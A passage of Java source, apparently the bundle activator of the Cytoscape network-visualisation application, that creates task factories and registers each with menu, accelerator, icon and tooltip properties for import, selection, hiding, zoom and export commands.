FitContentTaskFactory(undoSupportServiceRef); NewSessionTaskFactory newSessionTaskFactory = new NewSessionTaskFactory(cySessionManagerServiceRef); OpenSessionTaskFactory openSessionTaskFactory = new OpenSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef,recentlyOpenedTrackerServiceRef); SaveSessionTaskFactory saveSessionTaskFactory = new SaveSessionTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); SaveSessionAsTaskFactory saveSessionAsTaskFactory = new SaveSessionAsTaskFactory( sessionWriterManagerServiceRef, cySessionManagerServiceRef); ProxySettingsTaskFactory proxySettingsTaskFactory = new ProxySettingsTaskFactory(streamUtilRef); EditNetworkTitleTaskFactory editNetworkTitleTaskFactory = new EditNetworkTitleTaskFactory(undoSupportServiceRef); CreateNetworkViewTaskFactory createNetworkViewTaskFactory = new CreateNetworkViewTaskFactory(undoSupportServiceRef,cyNetworkViewFactoryServiceRef,cyNetworkViewManagerServiceRef,cyLayoutsServiceRef,cyEventHelperRef); ExportNetworkImageTaskFactory exportNetworkImageTaskFactory = new ExportNetworkImageTaskFactory(viewWriterManagerServiceRef,cyApplicationManagerServiceRef); ExportNetworkViewTaskFactory exportNetworkViewTaskFactory = new ExportNetworkViewTaskFactory(networkViewWriterManagerServiceRef); ExportNodeTableTaskFactory exportNodeTableTaskFactory = new ExportNodeTableTaskFactory(cyTableWriterManagerRef); ExportEdgeTableTaskFactory exportEdgeTableTaskFactory = new ExportEdgeTableTaskFactory(cyTableWriterManagerRef); ExportCurrentTableTaskFactory exportCurrentTableTaskFactory = new ExportCurrentTableTaskFactory(cyTableWriterManagerRef); ApplyPreferredLayoutTaskFactory applyPreferredLayoutTaskFactory = new ApplyPreferredLayoutTaskFactory(undoSupportServiceRef,cyEventHelperRef,cyLayoutsServiceRef,cyPropertyServiceRef); DeleteColumnTaskFactory deleteColumnTaskFactory = new DeleteColumnTaskFactory(undoSupportServiceRef); RenameColumnTaskFactory renameColumnTaskFactory = new RenameColumnTaskFactory(undoSupportServiceRef); CopyValueToEntireColumnTaskFactory copyValueToEntireColumnTaskFactory = new CopyValueToEntireColumnTaskFactory(undoSupportServiceRef); DeleteTableTaskFactory deleteTableTaskFactory = new DeleteTableTaskFactory(cyTableManagerServiceRef); ExportVizmapTaskFactory exportVizmapTaskFactory = new ExportVizmapTaskFactory(vizmapWriterManagerServiceRef,visualMappingManagerServiceRef); SubnetworkBuilderUtil subnetworkBuilderUtil = new SubnetworkBuilderUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyEventHelperRef,cyApplicationManagerServiceRef,cyRootNetworkFactoryServiceRef,cyNetworkViewFactoryServiceRef,visualMappingManagerServiceRef,visualStyleFactoryServiceRef,cyLayoutsServiceRef,undoSupportServiceRef); ImportTaskUtil importTaskUtil = new ImportTaskUtil(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef,streamUtilRef,cyTableManagerServiceRef,cyDataTableReaderManagerServiceRef,cyApplicationManagerServiceRef); QuickStartTaskFactory quickStartTaskFactory = new QuickStartTaskFactory(importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil); OpenSpecifiedSessionTaskFactory openSpecifiedSessionTaskFactory = new OpenSpecifiedSessionTaskFactory(cySessionManagerServiceRef,sessionReaderManagerServiceRef,cyApplicationManagerServiceRef); LoadMitabFileTaskFactory loadMitabFileTaskFactory = new LoadMitabFileTaskFactory(cyNetworkReaderManagerServiceRef,cyNetworkManagerServiceRef,cyNetworkViewManagerServiceRef,cyPropertyServiceRef,cyNetworkNamingServiceRef); WelcomeScreenTaskFactory welcomeTaskFactory = new WelcomeScreenTaskFactory(openBrowserServiceRef, importTaskUtil,cyNetworkManagerServiceRef,subnetworkBuilderUtil, recentlyOpenedTrackerServiceRef, taskManagerServiceRef, openSpecifiedSessionTaskFactory, openSessionTaskFactory, loadMitabFileTaskFactory, cyApplicationConfigurationServiceRef, loadNetworkFileTaskFactory); BioGridPreprocessor bioGridPreprocessor = new BioGridPreprocessor(cyPropertyServiceRef,cyApplicationConfigurationServiceRef); ConnectSelectedNodesTaskFactory connectSelectedNodesTaskFactory = new ConnectSelectedNodesTaskFactory(undoSupportServiceRef,cyApplicationManagerServiceRef,cyEventHelperRef); Properties loadNetworkFileTaskFactoryProps = new Properties(); loadNetworkFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkFileTaskFactoryProps.setProperty("accelerator","cmd l"); loadNetworkFileTaskFactoryProps.setProperty("title","File..."); loadNetworkFileTaskFactoryProps.setProperty("commandNamespace","network"); loadNetworkFileTaskFactoryProps.setProperty("command","load"); loadNetworkFileTaskFactoryProps.setProperty("menuGravity","1.0"); loadNetworkFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_import.png").toString()); loadNetworkFileTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkFileTaskFactoryProps.setProperty("tooltip","Import Network From File"); registerService(bc,loadNetworkFileTaskFactory,TaskFactory.class, loadNetworkFileTaskFactoryProps); Properties loadNetworkURLTaskFactoryProps = new Properties(); loadNetworkURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Network"); loadNetworkURLTaskFactoryProps.setProperty("accelerator","cmd shift l"); loadNetworkURLTaskFactoryProps.setProperty("menuGravity","2.0"); loadNetworkURLTaskFactoryProps.setProperty("title","URL..."); loadNetworkURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_db_import.png").toString()); loadNetworkURLTaskFactoryProps.setProperty("inToolBar","true"); loadNetworkURLTaskFactoryProps.setProperty("tooltip","Import Network From URL"); registerService(bc,loadNetworkURLTaskFactory,TaskFactory.class, loadNetworkURLTaskFactoryProps); Properties loadVizmapFileTaskFactoryProps = new Properties(); loadVizmapFileTaskFactoryProps.setProperty("preferredMenu","File.Import"); loadVizmapFileTaskFactoryProps.setProperty("menuGravity","3.0"); loadVizmapFileTaskFactoryProps.setProperty("title","Vizmap File..."); registerService(bc,loadVizmapFileTaskFactory,TaskFactory.class, loadVizmapFileTaskFactoryProps); registerService(bc,loadVizmapFileTaskFactory,LoadVisualStyles.class, new Properties()); Properties loadAttrsFileTaskFactoryProps = new Properties(); loadAttrsFileTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsFileTaskFactoryProps.setProperty("menuGravity","1.1"); loadAttrsFileTaskFactoryProps.setProperty("title","File..."); loadAttrsFileTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_file_import.png").toString()); loadAttrsFileTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsFileTaskFactoryProps.setProperty("tooltip","Import Table From File"); registerService(bc,loadAttrsFileTaskFactory,TaskFactory.class, loadAttrsFileTaskFactoryProps); Properties loadAttrsURLTaskFactoryProps = new Properties(); loadAttrsURLTaskFactoryProps.setProperty("preferredMenu","File.Import.Table"); loadAttrsURLTaskFactoryProps.setProperty("menuGravity","1.2"); loadAttrsURLTaskFactoryProps.setProperty("title","URL..."); loadAttrsURLTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/table_db_import.png").toString()); loadAttrsURLTaskFactoryProps.setProperty("inToolBar","true"); loadAttrsURLTaskFactoryProps.setProperty("tooltip","Import Table From Public Database"); registerService(bc,loadAttrsURLTaskFactory,TaskFactory.class, loadAttrsURLTaskFactoryProps); Properties proxySettingsTaskFactoryProps = new Properties(); proxySettingsTaskFactoryProps.setProperty("preferredMenu","Edit.Preferences"); proxySettingsTaskFactoryProps.setProperty("menuGravity","1.0"); proxySettingsTaskFactoryProps.setProperty("title","Proxy Settings..."); registerService(bc,proxySettingsTaskFactory,TaskFactory.class, proxySettingsTaskFactoryProps); Properties deleteSelectedNodesAndEdgesTaskFactoryProps = new Properties(); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("preferredMenu","Edit"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("title","Delete Selected Nodes and Edges..."); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("command","delete selected nodes and edges"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("commandNamespace","network"); deleteSelectedNodesAndEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,deleteSelectedNodesAndEdgesTaskFactory,TaskFactory.class, deleteSelectedNodesAndEdgesTaskFactoryProps); Properties selectAllTaskFactoryProps = new Properties(); selectAllTaskFactoryProps.setProperty("preferredMenu","Select"); selectAllTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllTaskFactoryProps.setProperty("enableFor","network"); selectAllTaskFactoryProps.setProperty("title","Select all nodes and edges"); selectAllTaskFactoryProps.setProperty("command","select all nodes"); selectAllTaskFactoryProps.setProperty("commandNamespace","network"); selectAllTaskFactoryProps.setProperty("menuGravity","5.0"); registerService(bc,selectAllTaskFactory,NetworkTaskFactory.class, selectAllTaskFactoryProps); Properties selectAllEdgesTaskFactoryProps = new Properties(); selectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAllEdgesTaskFactoryProps.setProperty("accelerator","cmd alt a"); selectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAllEdgesTaskFactoryProps.setProperty("title","Select all edges"); selectAllEdgesTaskFactoryProps.setProperty("command","select all edges"); selectAllEdgesTaskFactoryProps.setProperty("commandNamespace","network"); selectAllEdgesTaskFactoryProps.setProperty("menuGravity","4.0"); registerService(bc,selectAllEdgesTaskFactory,NetworkTaskFactory.class, selectAllEdgesTaskFactoryProps); Properties selectAllNodesTaskFactoryProps = new Properties(); selectAllNodesTaskFactoryProps.setProperty("enableFor","network"); selectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectAllNodesTaskFactoryProps.setProperty("menuGravity","4.0"); selectAllNodesTaskFactoryProps.setProperty("accelerator","cmd a"); selectAllNodesTaskFactoryProps.setProperty("title","Select all nodes"); registerService(bc,selectAllNodesTaskFactory,NetworkTaskFactory.class, selectAllNodesTaskFactoryProps); Properties selectAdjacentEdgesTaskFactoryProps = new Properties(); selectAdjacentEdgesTaskFactoryProps.setProperty("enableFor","network"); selectAdjacentEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); selectAdjacentEdgesTaskFactoryProps.setProperty("menuGravity","6.0"); selectAdjacentEdgesTaskFactoryProps.setProperty("accelerator","alt e"); selectAdjacentEdgesTaskFactoryProps.setProperty("title","Select adjacent edges"); registerService(bc,selectAdjacentEdgesTaskFactory,NetworkTaskFactory.class, selectAdjacentEdgesTaskFactoryProps); Properties selectConnectedNodesTaskFactoryProps = new Properties(); selectConnectedNodesTaskFactoryProps.setProperty("enableFor","network"); selectConnectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectConnectedNodesTaskFactoryProps.setProperty("menuGravity","7.0"); selectConnectedNodesTaskFactoryProps.setProperty("accelerator","cmd 7"); selectConnectedNodesTaskFactoryProps.setProperty("title","Nodes connected by selected edges"); registerService(bc,selectConnectedNodesTaskFactory,NetworkTaskFactory.class, selectConnectedNodesTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryProps = new Properties(); selectFirstNeighborsTaskFactoryProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryProps.setProperty("menuGravity","6.0"); selectFirstNeighborsTaskFactoryProps.setProperty("accelerator","cmd 6"); selectFirstNeighborsTaskFactoryProps.setProperty("title","Undirected"); selectFirstNeighborsTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/select_firstneighbors.png").toString()); selectFirstNeighborsTaskFactoryProps.setProperty("inToolBar","true"); selectFirstNeighborsTaskFactoryProps.setProperty("tooltip","First Neighbors of Selected Nodes (Undirected)"); registerService(bc,selectFirstNeighborsTaskFactory,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryProps); Properties selectFirstNeighborsTaskFactoryInEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("menuGravity","6.1"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("title","Directed: Incoming"); selectFirstNeighborsTaskFactoryInEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Incoming)"); registerService(bc,selectFirstNeighborsTaskFactoryInEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryInEdgeProps); Properties selectFirstNeighborsTaskFactoryOutEdgeProps = new Properties(); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("enableFor","network"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("preferredMenu","Select.Nodes.First Neighbors of Selected Nodes"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("menuGravity","6.2"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("title","Directed: Outgoing"); selectFirstNeighborsTaskFactoryOutEdgeProps.setProperty("tooltip","First Neighbors of Selected Nodes (Directed: Outgoing)"); registerService(bc,selectFirstNeighborsTaskFactoryOutEdge,NetworkTaskFactory.class, selectFirstNeighborsTaskFactoryOutEdgeProps); Properties deselectAllTaskFactoryProps = new Properties(); deselectAllTaskFactoryProps.setProperty("enableFor","network"); deselectAllTaskFactoryProps.setProperty("preferredMenu","Select"); deselectAllTaskFactoryProps.setProperty("menuGravity","5.1"); deselectAllTaskFactoryProps.setProperty("accelerator","cmd shift alt a"); deselectAllTaskFactoryProps.setProperty("title","Deselect all nodes and edges"); registerService(bc,deselectAllTaskFactory,NetworkTaskFactory.class, deselectAllTaskFactoryProps); Properties deselectAllEdgesTaskFactoryProps = new Properties(); deselectAllEdgesTaskFactoryProps.setProperty("enableFor","network"); deselectAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); deselectAllEdgesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllEdgesTaskFactoryProps.setProperty("accelerator","alt shift a"); deselectAllEdgesTaskFactoryProps.setProperty("title","Deselect all edges"); registerService(bc,deselectAllEdgesTaskFactory,NetworkTaskFactory.class, deselectAllEdgesTaskFactoryProps); Properties deselectAllNodesTaskFactoryProps = new Properties(); deselectAllNodesTaskFactoryProps.setProperty("enableFor","network"); deselectAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); deselectAllNodesTaskFactoryProps.setProperty("menuGravity","5.0"); deselectAllNodesTaskFactoryProps.setProperty("accelerator","cmd shift a"); deselectAllNodesTaskFactoryProps.setProperty("title","Deselect all nodes"); registerService(bc,deselectAllNodesTaskFactory,NetworkTaskFactory.class, deselectAllNodesTaskFactoryProps); Properties invertSelectedEdgesTaskFactoryProps = new Properties(); invertSelectedEdgesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); invertSelectedEdgesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedEdgesTaskFactoryProps.setProperty("accelerator","alt i"); invertSelectedEdgesTaskFactoryProps.setProperty("title","Invert edge selection"); registerService(bc,invertSelectedEdgesTaskFactory,NetworkTaskFactory.class, invertSelectedEdgesTaskFactoryProps); Properties invertSelectedNodesTaskFactoryProps = new Properties(); invertSelectedNodesTaskFactoryProps.setProperty("enableFor","network"); invertSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); invertSelectedNodesTaskFactoryProps.setProperty("menuGravity","1.0"); invertSelectedNodesTaskFactoryProps.setProperty("accelerator","cmd i"); invertSelectedNodesTaskFactoryProps.setProperty("title","Invert node selection"); invertSelectedNodesTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/invert_selection.png").toString()); invertSelectedNodesTaskFactoryProps.setProperty("inToolBar","true"); invertSelectedNodesTaskFactoryProps.setProperty("tooltip","Invert Node Selection"); registerService(bc,invertSelectedNodesTaskFactory,NetworkTaskFactory.class, invertSelectedNodesTaskFactoryProps); Properties selectFromFileListTaskFactoryProps = new Properties(); selectFromFileListTaskFactoryProps.setProperty("enableFor","network"); selectFromFileListTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); selectFromFileListTaskFactoryProps.setProperty("menuGravity","8.0"); selectFromFileListTaskFactoryProps.setProperty("accelerator","cmd i"); selectFromFileListTaskFactoryProps.setProperty("title","From ID List file..."); registerService(bc,selectFromFileListTaskFactory,NetworkTaskFactory.class, selectFromFileListTaskFactoryProps); Properties selectFirstNeighborsNodeViewTaskFactoryProps = new Properties(); selectFirstNeighborsNodeViewTaskFactoryProps.setProperty("title","Select First Neighbors (Undirected)"); registerService(bc,selectFirstNeighborsNodeViewTaskFactory,NodeViewTaskFactory.class, selectFirstNeighborsNodeViewTaskFactoryProps); Properties hideSelectedTaskFactoryProps = new Properties(); hideSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedTaskFactoryProps.setProperty("preferredMenu","Select"); hideSelectedTaskFactoryProps.setProperty("menuGravity","3.1"); hideSelectedTaskFactoryProps.setProperty("title","Hide selected nodes and edges"); hideSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/hide_selected.png").toString()); hideSelectedTaskFactoryProps.setProperty("inToolBar","true"); hideSelectedTaskFactoryProps.setProperty("tooltip","Hide Selected Nodes and Edges"); registerService(bc,hideSelectedTaskFactory,NetworkViewTaskFactory.class, hideSelectedTaskFactoryProps); Properties hideSelectedNodesTaskFactoryProps = new Properties(); hideSelectedNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); hideSelectedNodesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedNodesTaskFactoryProps.setProperty("title","Hide selected nodes"); registerService(bc,hideSelectedNodesTaskFactory,NetworkViewTaskFactory.class, hideSelectedNodesTaskFactoryProps); Properties hideSelectedEdgesTaskFactoryProps = new Properties(); hideSelectedEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); hideSelectedEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); hideSelectedEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); hideSelectedEdgesTaskFactoryProps.setProperty("title","Hide selected edges"); registerService(bc,hideSelectedEdgesTaskFactory,NetworkViewTaskFactory.class, hideSelectedEdgesTaskFactoryProps); Properties unHideAllTaskFactoryProps = new Properties(); unHideAllTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllTaskFactoryProps.setProperty("preferredMenu","Select"); unHideAllTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllTaskFactoryProps.setProperty("title","Show all nodes and edges"); unHideAllTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/unhide_all.png").toString()); unHideAllTaskFactoryProps.setProperty("inToolBar","true"); unHideAllTaskFactoryProps.setProperty("tooltip","Show All Nodes and Edges"); registerService(bc,unHideAllTaskFactory,NetworkViewTaskFactory.class, unHideAllTaskFactoryProps); Properties unHideAllNodesTaskFactoryProps = new Properties(); unHideAllNodesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllNodesTaskFactoryProps.setProperty("preferredMenu","Select.Nodes"); unHideAllNodesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllNodesTaskFactoryProps.setProperty("title","Show all nodes"); registerService(bc,unHideAllNodesTaskFactory,NetworkViewTaskFactory.class, unHideAllNodesTaskFactoryProps); Properties unHideAllEdgesTaskFactoryProps = new Properties(); unHideAllEdgesTaskFactoryProps.setProperty("enableFor","networkAndView"); unHideAllEdgesTaskFactoryProps.setProperty("preferredMenu","Select.Edges"); unHideAllEdgesTaskFactoryProps.setProperty("menuGravity","3.0"); unHideAllEdgesTaskFactoryProps.setProperty("title","Show all edges"); registerService(bc,unHideAllEdgesTaskFactory,NetworkViewTaskFactory.class, unHideAllEdgesTaskFactoryProps); Properties newEmptyNetworkTaskFactoryProps = new Properties(); newEmptyNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newEmptyNetworkTaskFactoryProps.setProperty("menuGravity","4.0"); newEmptyNetworkTaskFactoryProps.setProperty("title","Empty Network"); registerService(bc,newEmptyNetworkTaskFactory,TaskFactory.class, newEmptyNetworkTaskFactoryProps); registerService(bc,newEmptyNetworkTaskFactory,NewEmptyNetworkViewFactory.class, newEmptyNetworkTaskFactoryProps); Properties newNetworkSelectedNodesEdgesTaskFactoryProps = new Properties(); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("menuGravity","2.0"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("accelerator","cmd shift n"); newNetworkSelectedNodesEdgesTaskFactoryProps.setProperty("title","From selected nodes, selected edges"); registerService(bc,newNetworkSelectedNodesEdgesTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesEdgesTaskFactoryProps); Properties newNetworkSelectedNodesOnlyTaskFactoryProps = new Properties(); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/new_fromselected.png").toString()); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("accelerator","cmd n"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("enableFor","selectedNodesOrEdges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("title","From selected nodes, all edges"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("toolBarGravity","9.1"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("inToolBar","true"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("menuGravity","1.0"); newNetworkSelectedNodesOnlyTaskFactoryProps.setProperty("tooltip","New Network From Selection"); registerService(bc,newNetworkSelectedNodesOnlyTaskFactory,NetworkTaskFactory.class, newNetworkSelectedNodesOnlyTaskFactoryProps); Properties cloneNetworkTaskFactoryProps = new Properties(); cloneNetworkTaskFactoryProps.setProperty("enableFor","network"); cloneNetworkTaskFactoryProps.setProperty("preferredMenu","File.New.Network"); cloneNetworkTaskFactoryProps.setProperty("menuGravity","3.0"); cloneNetworkTaskFactoryProps.setProperty("title","Clone Current Network"); registerService(bc,cloneNetworkTaskFactory,NetworkTaskFactory.class, cloneNetworkTaskFactoryProps); Properties destroyNetworkTaskFactoryProps = new Properties(); destroyNetworkTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkTaskFactoryProps.setProperty("accelerator","cmd shift w"); destroyNetworkTaskFactoryProps.setProperty("enableFor","network"); destroyNetworkTaskFactoryProps.setProperty("title","Destroy Network"); destroyNetworkTaskFactoryProps.setProperty("scope","limited"); destroyNetworkTaskFactoryProps.setProperty("menuGravity","3.2"); registerService(bc,destroyNetworkTaskFactory,NetworkCollectionTaskFactory.class, destroyNetworkTaskFactoryProps); Properties destroyNetworkViewTaskFactoryProps = new Properties(); destroyNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); destroyNetworkViewTaskFactoryProps.setProperty("accelerator","cmd w"); destroyNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); destroyNetworkViewTaskFactoryProps.setProperty("title","Destroy View"); destroyNetworkViewTaskFactoryProps.setProperty("scope","limited"); destroyNetworkViewTaskFactoryProps.setProperty("menuGravity","3.1"); registerService(bc,destroyNetworkViewTaskFactory,NetworkViewCollectionTaskFactory.class, destroyNetworkViewTaskFactoryProps); Properties zoomInTaskFactoryProps = new Properties(); zoomInTaskFactoryProps.setProperty("accelerator","cmd equals"); zoomInTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-in.png").toString()); zoomInTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomInTaskFactoryProps.setProperty("title","Zoom In"); zoomInTaskFactoryProps.setProperty("tooltip","Zoom In"); zoomInTaskFactoryProps.setProperty("toolBarGravity","3.1"); zoomInTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomInTaskFactory,NetworkViewTaskFactory.class, zoomInTaskFactoryProps); Properties zoomOutTaskFactoryProps = new Properties(); zoomOutTaskFactoryProps.setProperty("accelerator","cmd minus"); zoomOutTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-out.png").toString()); zoomOutTaskFactoryProps.setProperty("enableFor","networkAndView"); zoomOutTaskFactoryProps.setProperty("title","Zoom Out"); zoomOutTaskFactoryProps.setProperty("tooltip","Zoom Out"); zoomOutTaskFactoryProps.setProperty("toolBarGravity","3.2"); zoomOutTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,zoomOutTaskFactory,NetworkViewTaskFactory.class, zoomOutTaskFactoryProps); Properties fitSelectedTaskFactoryProps = new Properties(); fitSelectedTaskFactoryProps.setProperty("accelerator","cmd shift f"); fitSelectedTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-object.png").toString()); fitSelectedTaskFactoryProps.setProperty("enableFor","networkAndView"); fitSelectedTaskFactoryProps.setProperty("title","Fit Selected"); fitSelectedTaskFactoryProps.setProperty("tooltip","Zoom selected region"); fitSelectedTaskFactoryProps.setProperty("toolBarGravity","3.4"); fitSelectedTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitSelectedTaskFactory,NetworkViewTaskFactory.class, fitSelectedTaskFactoryProps); Properties fitContentTaskFactoryProps = new Properties(); fitContentTaskFactoryProps.setProperty("accelerator","cmd f"); fitContentTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/stock_zoom-1.png").toString()); fitContentTaskFactoryProps.setProperty("enableFor","networkAndView"); fitContentTaskFactoryProps.setProperty("title","Fit Content"); fitContentTaskFactoryProps.setProperty("tooltip","Zoom out to display all of current Network"); fitContentTaskFactoryProps.setProperty("toolBarGravity","3.3"); fitContentTaskFactoryProps.setProperty("inToolBar","true"); registerService(bc,fitContentTaskFactory,NetworkViewTaskFactory.class, fitContentTaskFactoryProps); Properties editNetworkTitleTaskFactoryProps = new Properties(); editNetworkTitleTaskFactoryProps.setProperty("enableFor","network"); editNetworkTitleTaskFactoryProps.setProperty("preferredMenu","Edit"); editNetworkTitleTaskFactoryProps.setProperty("scope","limited"); editNetworkTitleTaskFactoryProps.setProperty("menuGravity","5.5"); editNetworkTitleTaskFactoryProps.setProperty("title","Network Title..."); registerService(bc,editNetworkTitleTaskFactory,NetworkTaskFactory.class, editNetworkTitleTaskFactoryProps); Properties createNetworkViewTaskFactoryProps = new Properties(); createNetworkViewTaskFactoryProps.setProperty("enableFor","networkWithoutView"); createNetworkViewTaskFactoryProps.setProperty("preferredMenu","Edit"); createNetworkViewTaskFactoryProps.setProperty("scope","limited"); createNetworkViewTaskFactoryProps.setProperty("menuGravity","3.0"); createNetworkViewTaskFactoryProps.setProperty("title","Create View"); registerService(bc,createNetworkViewTaskFactory,NetworkTaskFactory.class, createNetworkViewTaskFactoryProps); Properties exportNetworkImageTaskFactoryProps = new Properties(); exportNetworkImageTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkImageTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/img_file_export.png").toString()); exportNetworkImageTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkImageTaskFactoryProps.setProperty("title","Graphics"); exportNetworkImageTaskFactoryProps.setProperty("toolBarGravity","5.0"); exportNetworkImageTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkImageTaskFactoryProps.setProperty("tooltip","Export Network Image to File"); registerService(bc,exportNetworkImageTaskFactory,NetworkViewTaskFactory.class, exportNetworkImageTaskFactoryProps); Properties exportNetworkViewTaskFactoryProps = new Properties(); exportNetworkViewTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNetworkViewTaskFactoryProps.setProperty("preferredMenu","File.Export.Network View"); exportNetworkViewTaskFactoryProps.setProperty("menuGravity","5.1"); exportNetworkViewTaskFactoryProps.setProperty("title","File"); exportNetworkViewTaskFactoryProps.setProperty("largeIconURL",getClass().getResource("/images/icons/net_file_export.png").toString()); exportNetworkViewTaskFactoryProps.setProperty("inToolBar","true"); exportNetworkViewTaskFactoryProps.setProperty("tooltip","Export Network to File"); registerService(bc,exportNetworkViewTaskFactory,NetworkViewTaskFactory.class, exportNetworkViewTaskFactoryProps); Properties exportNodeTableTaskFactoryProps = new Properties(); exportNodeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportNodeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Node Attributes"); exportNodeTableTaskFactoryProps.setProperty("menuGravity","1.0"); exportNodeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportNodeTableTaskFactory,NetworkViewTaskFactory.class, exportNodeTableTaskFactoryProps); Properties exportEdgeTableTaskFactoryProps = new Properties(); exportEdgeTableTaskFactoryProps.setProperty("enableFor","networkAndView"); exportEdgeTableTaskFactoryProps.setProperty("preferredMenu","File.Export.Edge Attributes"); exportEdgeTableTaskFactoryProps.setProperty("menuGravity","1.1"); exportEdgeTableTaskFactoryProps.setProperty("title","File..."); registerService(bc,exportEdgeTableTaskFactory,NetworkViewTaskFactory.class, exportEdgeTableTaskFactoryProps); 